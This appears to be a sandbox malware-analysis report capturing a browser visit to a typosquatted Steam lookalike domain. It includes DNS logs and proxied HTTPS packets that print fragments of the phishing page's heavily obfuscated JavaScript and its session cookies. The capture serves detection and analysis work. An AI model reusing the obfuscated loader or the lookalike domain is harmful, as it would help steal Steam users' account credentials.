Oct 6, 2024 14:08:19.952763081 CEST	1.1.1.1	192.168.2.5	0x8952	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.952763081 CEST	1.1.1.1	192.168.2.5	0x8952	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.953700066 CEST	1.1.1.1	192.168.2.5	0xf81d	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 6, 2024 14:08:19.955172062 CEST	1.1.1.1	192.168.2.5	0xf4d3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.955172062 CEST	1.1.1.1	192.168.2.5	0xf4d3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.955172062 CEST	1.1.1.1	192.168.2.5	0xf4d3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.955172062 CEST	1.1.1.1	192.168.2.5	0xf4d3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.856420040 CEST	1.1.1.1	192.168.2.5	0x3eac	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 6, 2024 14:08:21.856461048 CEST	1.1.1.1	192.168.2.5	0x6f47	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.856461048 CEST	1.1.1.1	192.168.2.5	0x6f47	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.856755018 CEST	1.1.1.1	192.168.2.5	0x1db	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.856755018 CEST	1.1.1.1	192.168.2.5	0x1db	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.856755018 CEST	1.1.1.1	192.168.2.5	0x1db	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.856755018 CEST	1.1.1.1	192.168.2.5	0x1db	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:22.285824060 CEST	1.1.1.1	192.168.2.5	0x876c	No error (0)	store.akamai.steamstatic.com		2.19.126.97	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:22.285824060 CEST	1.1.1.1	192.168.2.5	0x876c	No error (0)	store.akamai.steamstatic.com		2.19.126.79	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.050084114 CEST	1.1.1.1	192.168.2.5	0x75c3	No error (0)	recaptcha.net		142.250.186.67	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.164319038 CEST	1.1.1.1	192.168.2.5	0x17f9	No error (0)	cdn.akamai.steamstatic.com		2.19.126.133	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.164319038 CEST	1.1.1.1	192.168.2.5	0x17f9	No error (0)	cdn.akamai.steamstatic.com		2.19.126.142	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.193691015 CEST	1.1.1.1	192.168.2.5	0xc05f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.193691015 CEST	1.1.1.1	192.168.2.5	0xc05f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.707982063 CEST	1.1.1.1	192.168.2.5	0x13c7	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 14:08:24.707982063 CEST	1.1.1.1	192.168.2.5	0x13c7	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.824774981 CEST	1.1.1.1	192.168.2.5	0xd20d	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:25.003839016 CEST	1.1.1.1	192.168.2.5	0xa47b	No error (0)	recaptcha.net		142.250.186.67	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:25.911075115 CEST	1.1.1.1	192.168.2.5	0x7228	No error (0)	cdn.akamai.steamstatic.com		2.16.238.140	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:25.911075115 CEST	1.1.1.1	192.168.2.5	0x7228	No error (0)	cdn.akamai.steamstatic.com		2.16.238.151	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:30.050184965 CEST	1.1.1.1	192.168.2.5	0xdbc9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 14:08:30.050184965 CEST	1.1.1.1	192.168.2.5	0xdbc9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:56.055823088 CEST	1.1.1.1	192.168.2.5	0x921e	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 14:08:56.056046963 CEST	1.1.1.1	192.168.2.5	0xc58e	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 14:08:56.666707993 CEST	1.1.1.1	192.168.2.5	0xed95	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 14:08:56.666815996 CEST	1.1.1.1	192.168.2.5	0x1b5a	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 14:08:57.159744978 CEST	1.1.1.1	192.168.2.5	0x2a74	No error (0)	fonts.cdnfonts.com		172.67.184.158	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:57.159744978 CEST	1.1.1.1	192.168.2.5	0x2a74	No error (0)	fonts.cdnfonts.com		104.21.72.124	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:57.160120010 CEST	1.1.1.1	192.168.2.5	0xc612	No error (0)	fonts.cdnfonts.com			65	IN (0x0001)	false
Oct 6, 2024 14:08:58.979110956 CEST	1.1.1.1	192.168.2.5	0xc12	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:58.979110956 CEST	1.1.1.1	192.168.2.5	0xc12	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:58.980139971 CEST	1.1.1.1	192.168.2.5	0x6019	No error (0)	community.akamai.steamstatic.com		2.19.126.154	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:58.980139971 CEST	1.1.1.1	192.168.2.5	0x6019	No error (0)	community.akamai.steamstatic.com		2.19.126.146	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:58.982455015 CEST	1.1.1.1	192.168.2.5	0xa48f	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Oct 6, 2024 14:08:59.978404999 CEST	1.1.1.1	192.168.2.5	0xf44c	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:59.978404999 CEST	1.1.1.1	192.168.2.5	0xf44c	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:59.979135036 CEST	1.1.1.1	192.168.2.5	0x13ab	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Oct 6, 2024 14:09:00.047744989 CEST	1.1.1.1	192.168.2.5	0xe1c2	No error (0)	community.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:00.047744989 CEST	1.1.1.1	192.168.2.5	0xe1c2	No error (0)	community.akamai.steamstatic.com		2.16.168.8	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:00.229360104 CEST	1.1.1.1	192.168.2.5	0xdd3e	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:01.891514063 CEST	1.1.1.1	192.168.2.5	0xbab5	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:01.891514063 CEST	1.1.1.1	192.168.2.5	0xbab5	No error (0)	store.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:13.846170902 CEST	1.1.1.1	192.168.2.5	0xe6b0	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:17.185337067 CEST	1.1.1.1	192.168.2.5	0xf527	No error (0)	login.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:18.391164064 CEST	1.1.1.1	192.168.2.5	0x53c	No error (0)	login.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:18.417567968 CEST	1.1.1.1	192.168.2.5	0xc71a	No error (0)	api.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:18.649090052 CEST	1.1.1.1	192.168.2.5	0x4cd0	No error (0)	help.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:19.526859045 CEST	1.1.1.1	192.168.2.5	0xa14f	No error (0)	api.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:21.698165894 CEST	1.1.1.1	192.168.2.5	0xf658	No error (0)	help.steampowered.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:23.567534924 CEST	1.1.1.1	192.168.2.5	0xd76a	No error (0)	cdn.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:23.567534924 CEST	1.1.1.1	192.168.2.5	0xd76a	No error (0)	cdn.akamai.steamstatic.com		2.16.168.12	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:23.568319082 CEST	1.1.1.1	192.168.2.5	0x4778	No error (0)	www.google.com		172.217.23.100	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:23.570106030 CEST	1.1.1.1	192.168.2.5	0x13d4	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 6, 2024 14:09:24.554362059 CEST	1.1.1.1	192.168.2.5	0x5ad8	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:24.554689884 CEST	1.1.1.1	192.168.2.5	0x5f99	No error (0)	www.google.com			65	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:16 UTC	691	OUT	GET /jfh8893040282949023/here/put HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:16 UTC	1276	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; Path=/; Expires=Sun, 06 Oct 2024 16:08:16 GMT; SameSite=Lax Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; Path=/; Expires=Sun, 06 Oct 2024 16:08:16 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC
2024-10-06 12:08:16 UTC	436	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 34 6d 48 63 39 37 46 79 77 73 38 65 69 25 32 42 4f 61 77 46 70 31 7a 30 48 79 61 46 25 32 46 46 4b 37 38 4f 75 4b 31 42 49 50 53 61 6a 45 73 37 4e 56 41 42 44 59 32 6f 62 64 25 32 46 55 43 35 47 73 6b 49 54 50 67 63 4f 70 25 32 42 68 75 67 31 68 48 5a 63 77 71 71 34 49 49 39 57 52 42 67 47 77 48 25 32 46 58 46 69 62 6f 25 32 46 43 4c 64 6e 6e 7a 50 58 39 37 6a 58 76 79 70 59 32 58 69 6a 68 32 7a 73 4d 33 77 44 38 63 69 44 33 36 74 58 6d 62 4e 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4mHc97Fyws8ei%2BOawFp1z0HyaF%2FFK78OuK1BIPSajEs7NVABDY2obd%2FUC5GskITPgcOp%2Bhug1hHZcwqq4II9WRBgGwH%2FXFibo%2FCLdnnzPX97jXvypY2Xijh2zsM3wD8ciD36tXmbNg%3D%3D"}],"group":"cf-nel",
2024-10-06 12:08:16 UTC	1026	IN	Data Raw: 35 33 38 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 5380<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 56 73 31 44 58 49 3d 54 79 48 5a 7a 76 62 28 30 78 35 36 29 2c 41 55 6c 69 34 4b 57 3d 41 73 63 74 64 6d 28 28 29 3d 3e 7b 76 61 72 20 75 42 6d 76 49 54 3d 5b 27 4e 29 49 65 6d 2f 5d 59 51 53 33 26 38 50 6a 6c 71 25 4e 30 26 75 4f 43 73 25 71 27 2c 27 7a 25 62 64 41 38 4e 5b 32 24 4a 44 43 6c 4e 54 2c 44 56 3a 37 75 63 59 2f 25 74 33 67 5e 5e 69 51 75 6d 4a 31 6c 31 58 30 54 38 37 51 44 27 2c 27 61 2c 3f 2f 5f 2c 6b 6b 29 4e 7e 3a 53 46 78 61 27 2c 27 62 3a 7d 78 24 36 44 23 3d 4c 29 23 6b 37 72 6d 6c 4a 66 4a 27 2c 27 54 2c 7d 47 33 75 3e 4d 7c 4e 4f 55 6a 4f 49 27 2c 27 6c 35 2a 61 6b 76 46 54 4b 4f 6d 3c 58 5e 32 69 7e 6e 39 48 39 31 6a 23 44 4a 62 69 7c 43 27 2c 27 4c 75 47 30 78 29 3c 69 3d 31 32 78 41 62 58 63 3d 74 56 48 73 32 78 42 27 2c 27 32 2c Data Ascii: Vs1DXI=TyHZzvb(0x56),AUli4KW=Asctdm(()=>{var uBmvIT=['N)Iem/]YQS3&8Pjlq%N0&uOCs%q','z%bdA8N[2$JDClNT,DV:7ucY/%t3g^^iQumJ1l1X0T87QD','a,?/_,kk)N~:SFxa','b:}x$6D#=L)#k7rmlJfJ','T,}G3u>M\|NOUjOI','l5*akvFTKOm<X^2i~n9H91j#DJbi\|C','LuG0x)<i=12xAbXc=tVHs2xB','2,
2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 6d 47 6e 2e 54 65 78 74 44 65 63 6f 64 65 72 2c 72 38 42 71 5f 75 39 3d 4f 6b 4d 6d 47 6e 2e 55 69 6e 74 38 41 72 72 61 79 2c 59 7a 51 61 4b 68 3d 4f 6b 4d 6d 47 6e 2e 42 75 66 66 65 72 2c 75 34 63 4a 54 55 3d 4f 6b 4d 6d 47 6e 2e 53 74 72 69 6e 67 7c 7c 53 74 72 69 6e 67 2c 5a 59 4d 39 76 79 79 3d 4f 6b 4d 6d 47 6e 2e 41 72 72 61 79 7c 7c 41 72 72 61 79 2c 47 6e 72 69 64 70 67 3d 41 73 63 74 64 6d 28 28 29 3d 3e 7b 76 61 72 20 4f 6b 4d 6d 47 6e 3d 6e 65 77 20 5a 59 4d 39 76 79 79 28 30 78 38 30 29 2c 75 72 31 47 46 57 2c 72 38 42 71 5f 75 39 3b 21 28 75 72 31 47 46 57 3d 75 34 63 4a 54 55 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 7c 7c 75 34 63 4a 54 55 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 72 38 42 71 5f 75 39 3d 5b 5d 29 3b 72 65 74 75 72 6e 20 41 Data Ascii: mGn.TextDecoder,r8Bq_u9=OkMmGn.Uint8Array,YzQaKh=OkMmGn.Buffer,u4cJTU=OkMmGn.String\|\|String,ZYM9vyy=OkMmGn.Array\|\|Array,Gnridpg=Asctdm(()=>{var OkMmGn=new ZYM9vyy(0x80),ur1GFW,r8Bq_u9;!(ur1GFW=u4cJTU.fromCodePoint\|\|u4cJTU.fromCharCode,r8Bq_u9=[]);return A
2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 4c 31 34 63 67 66 5d 7c 7c 28 4f 6b 4d 6d 47 6e 5b 7a 4c 31 34 63 67 66 5d 3d 75 72 31 47 46 57 28 7a 4c 31 34 63 67 66 29 29 29 7d 72 65 74 75 72 6e 20 72 38 42 71 5f 75 39 2e 6a 6f 69 6e 28 27 27 29 7d 2c 30 78 31 29 7d 2c 30 78 30 29 28 29 29 3b 66 75 6e 63 74 69 6f 6e 20 42 64 6e 41 6a 6c 76 28 75 42 6d 76 49 54 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 75 72 31 47 46 57 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 26 26 75 72 31 47 46 57 3f 6e 65 77 20 75 72 31 47 46 57 28 29 2e 64 65 63 6f 64 65 28 6e 65 77 20 72 38 42 71 5f 75 39 28 75 42 6d 76 49 54 29 29 3a 74 79 70 65 6f 66 20 59 7a 51 61 4b 68 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 26 26 59 7a 51 61 4b 68 3f 59 7a 51 61 4b 68 2e 66 72 6f 6d 28 75 42 6d 76 49 54 29 2e 74 6f 53 74 72 69 6e Data Ascii: L14cgf]\|\|(OkMmGn[zL14cgf]=ur1GFW(zL14cgf)))}return r8Bq_u9.join('')},0x1)},0x0)());function BdnAjlv(uBmvIT){return typeof ur1GFW!=='undefined'&&ur1GFW?new ur1GFW().decode(new r8Bq_u9(uBmvIT)):typeof YzQaKh!=='undefined'&&YzQaKh?YzQaKh.from(uBmvIT).toStrin
2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 54 29 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 3d 68 43 75 79 5a 61 2b 28 68 43 75 79 5a 61 3d 75 42 6d 76 49 54 2c 54 79 48 5a 7a 76 62 28 30 78 35 36 29 29 2c 75 42 6d 76 49 54 7d 68 43 75 79 5a 61 3d 68 43 75 79 5a 61 3b 66 75 6e 63 74 69 6f 6e 20 6a 69 43 67 6c 5a 28 29 7b 76 61 72 20 4f 6b 4d 6d 47 6e 2c 75 72 31 47 46 57 2c 72 38 42 71 5f 75 39 2c 59 7a 51 61 4b 68 2c 75 34 63 4a 54 55 2c 5a 59 4d 39 76 79 79 3b 66 75 6e 63 74 69 6f 6e 20 47 6e 72 69 64 70 67 28 4f 6b 4d 6d 47 6e 29 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3e 2d 30 78 33 37 3f 4f 6b 4d 6d 47 6e 3e 2d 30 78 33 37 3f 4f 6b 4d 6d 47 6e 2b 30 78 33 36 3a 4f 6b 4d 6d 47 6e 2d 30 78 30 3a 4f 6b 4d 6d 47 6e 2d 30 78 33 32 5d 7d 74 79 70 65 6f 66 28 4f 6b 4d 6d 47 6e Data Ascii: T){return uBmvIT=hCuyZa+(hCuyZa=uBmvIT,TyHZzvb(0x56)),uBmvIT}hCuyZa=hCuyZa;function jiCglZ(){var OkMmGn,ur1GFW,r8Bq_u9,YzQaKh,u4cJTU,ZYM9vyy;function Gnridpg(OkMmGn){return uBmvIT[OkMmGn>-0x37?OkMmGn>-0x37?OkMmGn+0x36:OkMmGn-0x0:OkMmGn-0x32]}typeof(OkMmGn
2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 34 39 2c 68 43 75 79 5a 61 3d 2d 30 78 31 36 29 2c 66 52 73 75 67 5f 37 28 30 78 32 33 29 29 2c 59 7a 51 61 4b 68 29 7d 2c 30 78 32 29 3b 63 6f 6e 73 74 20 59 7a 51 61 4b 68 3d 4f 6b 4d 6d 47 6e 28 29 3b 77 68 69 6c 65 28 4b 37 65 76 70 33 28 4b 37 65 76 70 33 28 5b 5d 2c 68 43 75 79 5a 61 3d 54 79 48 5a 7a 76 62 28 30 78 36 30 29 29 2c 68 43 75 79 5a 61 3d 54 79 48 5a 7a 76 62 28 30 78 36 30 29 29 29 7b 76 61 72 20 75 34 63 4a 54 55 3b 66 75 6e 63 74 69 6f 6e 20 5a 59 4d 39 76 79 79 28 4f 6b 4d 6d 47 6e 29 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 4f 6b 4d 6d 47 6e 3c 30 78 31 33 3f 4f 6b 4d 6d 47 6e 2d 30 78 34 36 3a 4f 6b 4d 6d 47 6e 3c 30 78 35 36 3f 4f 6b 4d 6d 47 6e 3e 30 78 31 33 3f 4f 6b 4d 6d 47 6e 3e 30 78 35 36 3f 4f 6b 4d 6d 47 6e 2b 30 78 Data Ascii: 49,hCuyZa=-0x16),fRsug_7(0x23)),YzQaKh)},0x2);const YzQaKh=OkMmGn();while(K7evp3(K7evp3([],hCuyZa=TyHZzvb(0x60)),hCuyZa=TyHZzvb(0x60))){var u4cJTU;function ZYM9vyy(OkMmGn){return uBmvIT[OkMmGn<0x13?OkMmGn-0x46:OkMmGn<0x56?OkMmGn>0x13?OkMmGn>0x56?OkMmGn+0x
2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 6d 47 6e 3c 2d 30 78 31 37 3f 4f 6b 4d 6d 47 6e 3e 2d 30 78 31 37 3f 4f 6b 4d 6d 47 6e 2d 30 78 32 65 3a 4f 6b 4d 6d 47 6e 3c 2d 30 78 31 37 3f 4f 6b 4d 6d 47 6e 3e 2d 30 78 35 61 3f 4f 6b 4d 6d 47 6e 3c 2d 30 78 35 61 3f 4f 6b 4d 6d 47 6e 2b 30 78 34 35 3a 4f 6b 4d 6d 47 6e 2b 30 78 35 39 3a 4f 6b 4d 6d 47 6e 2d 30 78 35 35 3a 4f 6b 4d 6d 47 6e 2d 30 78 62 3a 4f 6b 4d 6d 47 6e 2b 30 78 31 39 3a 4f 6b 4d 6d 47 6e 2b 30 78 35 3a 4f 6b 4d 6d 47 6e 2b 30 78 31 32 5d 7d 2c 30 78 31 29 3b 76 6f 69 64 28 77 69 6e 64 6f 77 5b 43 4b 45 68 52 43 28 30 78 33 38 2c 30 78 33 61 29 5d 3d 4a 53 4f 4e 5b 43 4b 45 68 52 43 28 54 79 48 5a 7a 76 62 28 30 78 37 66 29 2c 30 78 33 39 29 5d 28 4a 6d 66 48 61 54 28 56 74 78 7a 33 35 4b 28 43 4b 45 68 52 43 28 30 78 33 38 2c 30 Data Ascii: mGn<-0x17?OkMmGn>-0x17?OkMmGn-0x2e:OkMmGn<-0x17?OkMmGn>-0x5a?OkMmGn<-0x5a?OkMmGn+0x45:OkMmGn+0x59:OkMmGn-0x55:OkMmGn-0xb:OkMmGn+0x19:OkMmGn+0x5:OkMmGn+0x12]},0x1);void(window[CKEhRC(0x38,0x3a)]=JSON[CKEhRC(TyHZzvb(0x7f),0x39)](JmfHaT(Vtxz35K(CKEhRC(0x38,0
2024-10-06 12:08:16 UTC	1369	IN	Data Raw: 75 67 5f 37 28 2d 30 78 31 36 29 29 29 5d 28 29 7d 29 5b 75 72 31 47 46 57 28 4b 37 65 76 70 33 28 30 78 37 62 2c 68 43 75 79 5a 61 3d 2d 54 79 48 5a 7a 76 62 28 30 78 35 63 29 29 2c 4b 37 65 76 70 33 28 30 78 37 66 2c 68 43 75 79 5a 61 3d 2d 54 79 48 5a 7a 76 62 28 30 78 35 63 29 29 29 5d 28 28 29 3d 3e 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 76 61 72 20 4f 6b 4d 6d 47 6e 3d 41 73 63 74 64 6d 28 75 72 31 47 46 57 3d 3e 7b 72 65 74 75 72 6e 20 75 42 6d 76 49 54 5b 75 72 31 47 46 57 3c 30 78 37 35 3f 75 72 31 47 46 57 3e 30 78 37 35 3f 75 72 31 47 46 57 2b 30 78 32 31 3a 75 72 31 47 46 57 3e 30 78 33 32 3f 75 72 31 47 46 57 3e 30 78 37 35 3f 75 72 31 47 46 57 2b 30 78 35 64 3a 75 72 31 47 46 57 3e 30 78 37 35 3f 75 72 31 47 46 57 2b 30 78 33 37 3a Data Ascii: ug_7(-0x16)))]()})[ur1GFW(K7evp3(0x7b,hCuyZa=-TyHZzvb(0x5c)),K7evp3(0x7f,hCuyZa=-TyHZzvb(0x5c)))](()=>setTimeout(()=>{var OkMmGn=Asctdm(ur1GFW=>{return uBmvIT[ur1GFW<0x75?ur1GFW>0x75?ur1GFW+0x21:ur1GFW>0x32?ur1GFW>0x75?ur1GFW+0x5d:ur1GFW>0x75?ur1GFW+0x37:
